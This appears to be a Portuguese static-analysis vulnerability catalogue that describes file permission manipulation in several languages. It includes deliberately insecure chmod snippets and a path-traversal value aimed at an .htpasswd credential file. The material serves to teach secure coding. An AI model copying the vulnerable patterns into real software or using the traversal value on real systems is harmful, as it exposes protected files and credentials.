101 itens encontrados
Vulnerabilidades
Abstract
Permitir que a entrada do usuário altere permissões de arquivo diretamente pode deixar que um invasor acesse recursos do sistema que, de outra forma, estariam protegidos.
Explanation
Erros de File Permission Manipulation ocorrem quando qualquer uma das seguintes condições é atendida:

1. Um invasor pode especificar um caminho usado em uma operação que modifica as permissões no sistema de arquivos.

2. Um invasor pode especificar as permissões atribuídas por uma operação no sistema de arquivos.

Exemplo 1: O código a seguir usa entrada de variáveis de ambiente do sistema para definir permissões de arquivo. Se os invasores puderem alterar as variáveis de ambiente do sistema, poderão usar o programa para obter acesso a arquivos manipulados pelo programa. Se o programa também for vulnerável a Path Manipulation, um invasor poderá usar essa vulnerabilidade para acessar arquivos arbitrariamente no sistema.


permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[13] Standards Mapping - FIPS200 AC
[14] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[17] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[18] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[19] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[34] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[35] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.golang.file_permission_manipulation
Abstract
Permitir que a entrada do usuário altere permissões de arquivo diretamente pode deixar que um invasor acesse recursos do sistema que, de outra forma, estariam protegidos.
Explanation
Erros de manipulação de permissões de arquivo ocorrem quando qualquer uma das condições a seguir é atendida:

1. Um invasor pode especificar um caminho usado em uma operação que modifica permissões no sistema de arquivos.

2. Um invasor pode especificar as permissões atribuídas por uma operação no sistema de arquivos.

Exemplo 1: O código a seguir usa a entrada de propriedades do sistema para definir a máscara de permissão padrão. Se os invasores puderem alterar as propriedades do sistema, eles poderão usar o programa para obter acesso a arquivos manipulados pelo programa. Se o programa também for vulnerável à manipulação de caminho, um invasor poderá usar essa vulnerabilidade para acessar arquivos arbitrários no sistema.


String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
References
[1] FIO01-J. Create files with appropriate access permissions CERT
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[14] Standards Mapping - FIPS200 AC
[15] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[18] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.file_permission_manipulation
Abstract
Permitir que a entrada do usuário altere permissões de arquivo diretamente pode deixar que um invasor acesse recursos do sistema que, de outra forma, estariam protegidos.
Explanation
Erros de manipulação de permissões de arquivo ocorrem quando qualquer uma das condições a seguir é atendida:

1. Um invasor pode especificar um caminho usado em uma operação que modifica permissões no sistema de arquivos.

2. Um invasor pode especificar as permissões atribuídas por uma operação no sistema de arquivos.

Exemplo: O código a seguir é projetado para definir as permissões de arquivo adequadas para os usuários fazerem upload de páginas da Web por meio de FTP. Ele usa a entrada de uma solicitação HTTP para marcar um arquivo como visualizável para usuários externos.


$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...


No entanto, se um invasor fornecer um valor mal-intencionado para publicReport, como "../../localuser/public_html/.htpasswd", o aplicativo tornará o arquivo especificado como legível para o invasor.

Exemplo 2: O código a seguir usa a entrada de um arquivo de configuração para definir a máscara de permissão padrão. Se os invasores puderem alterar o arquivo de configuração, eles poderão usar o programa para obter acesso aos arquivos manipulados pelo programa. Se o programa também for vulnerável à manipulação de caminho, um invasor poderá usar essa vulnerabilidade para acessar arquivos arbitrários no sistema.


...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
References
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[14] Standards Mapping - FIPS200 AC
[15] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[18] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.file_permission_manipulation
Abstract
Permitir que a entrada do usuário altere permissões de arquivo diretamente pode deixar que um invasor acesse recursos do sistema que, de outra forma, estariam protegidos.
Explanation
Erros de File Permission Manipulation ocorrem quando qualquer uma das condições a seguir é atendida:

1. Um invasor pode especificar um caminho usado em uma operação que modifica permissões no sistema de arquivos.

2. Um invasor pode especificar as permissões atribuídas por uma operação no sistema de arquivos.

Exemplo 1: O código a seguir usa entrada de variáveis de ambiente do sistema para definir permissões de arquivo. Se os invasores puderem alterar as variáveis de ambiente do sistema, eles poderão usar o programa para obter acesso a arquivos manipulados pelo programa. Se o programa também for vulnerável à Path Manipulation, um invasor poderá usar essa vulnerabilidade para acessar arquivos arbitrários no sistema.


permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[13] Standards Mapping - FIPS200 AC
[14] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[17] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[18] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[19] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[34] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[35] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.python.file_permission_manipulation
Abstract
Permitir que a entrada do usuário altere permissões de arquivo diretamente pode deixar que um invasor acesse recursos do sistema que, de outra forma, estariam protegidos.
Explanation
Erros de manipulação de permissões de arquivo ocorrem quando qualquer uma das condições a seguir é atendida:

1. Um invasor pode especificar um caminho usado em uma operação que modifica permissões no sistema de arquivos.

2. Um invasor pode especificar as permissões atribuídas por uma operação no sistema de arquivos.

Exemplo: O código a seguir é projetado para definir as permissões de arquivo adequadas para os usuários fazerem upload de páginas da Web por meio de FTP. Ele usa a entrada de uma solicitação HTTP para marcar um arquivo como visualizável para usuários externos.


...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...


No entanto, se um invasor fornecer um valor mal-intencionado para publicReport, como "../../localuser/public_html/.htpasswd", o aplicativo tornará o arquivo especificado como legível para o invasor.

Exemplo 2: O código a seguir usa a entrada de um arquivo de configuração para definir a máscara de permissão padrão. Se os invasores puderem alterar o arquivo de configuração, eles poderão usar o programa para obter acesso aos arquivos manipulados pelo programa. Se o programa também for vulnerável à manipulação de caminho, um invasor poderá usar essa vulnerabilidade para acessar arquivos arbitrários no sistema.


...
mask = config_params['perms']
File.chmod(filename, mask)
...
References
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[14] Standards Mapping - FIPS200 AC
[15] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[18] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
